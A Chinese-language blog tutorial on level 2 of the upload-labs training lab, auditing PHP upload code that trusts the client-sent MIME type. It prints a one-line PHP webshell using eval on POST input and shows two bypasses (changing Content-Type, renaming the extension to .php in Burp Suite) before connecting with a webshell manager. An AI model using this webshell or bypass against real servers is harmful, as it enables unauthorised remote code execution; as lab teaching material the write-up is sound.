upload-labs第二关教程
第一关的教程可以去主页里面去找。
文章目录
1.源代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
if (($_FILES['upload_file']['type'] == 'image/jpeg')还有后面的对MIME类型进行了检查,只允许image/jpeg、image/png、image/gif的文件类型进行通过。
所以这里是不是可以通过修改MIME类型进行绕过?
2.MIME类型是什么?
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL,因此 Web服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会无法解析文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。
语法格式:
type/subtype
常见的MIME类型如下:
这块可以自行去菜鸟教程学习。
3.绕过方法分析
我的想法是如果只对文件类型进行限制的话,就可以从两个方面来想:一方面是上传PHP文件,使用burp suite进行抓包修改content-type的文件类型为合法的文件类型,其他方面是我上传一个正常的上传上去的文件,然后使用Burp suite进行抓包修改上传文件的后缀名,不就绕过去了吗?(第二句话的意思:例如这里的源代码,我上传一个png文件就能正常上传,然后我将其使用burp suite进行抓包修改文件的后缀名为.php就能进行绕过)
1)修改content-type
a.上传一个eval.php文件
eval.php代码如下
<?php @eval($_POST['cmd']); ?>
b.然后使用Burp suite进行抓包修改content-type
修改前:
此时的content-type为:application/octet-stream
修改之后:
修改为了iamge/png,在这里你不一定修改为iamge/png,只需要满足它的白名单策略就行了。
c.放包:
上传成功。不知道路径的话可以使用开发者工具找到上传的路径。
d.打开开发者工具
出现路径为:http://192.168.1.10/upload-labs-master/upload/eval.php
e.使用中国蚁剑进行连接
连接成功。
2)修改文件后缀名绕过
a. 上传一个eval.png图片
这里图片最好就是一句话木马,或者图片马也行。
正常的话是能上传上去的,且是png上传上去的,服务器没办法执行图片中一句话木马。
b.使用Burp suite进行修改后缀名
修改前:
修改之前。file_name=eval.png,还可以发现content-type为iamge/png
修改后:
file_name=eval.php,使其上传至服务器,让服务器进行解析且执行
c. 放包
可以发现不仅上传成功,而且还是以Php文件类型上传成功的。
d.使用中国蚁剑进行连接
连接成功。
如果还有疑问的话,可以私信问我,看到了就会回的。
标签:教程,type,upload,labs,修改,file,上传,png From: https://blog.csdn.net/m0_73528952/article/details/139455666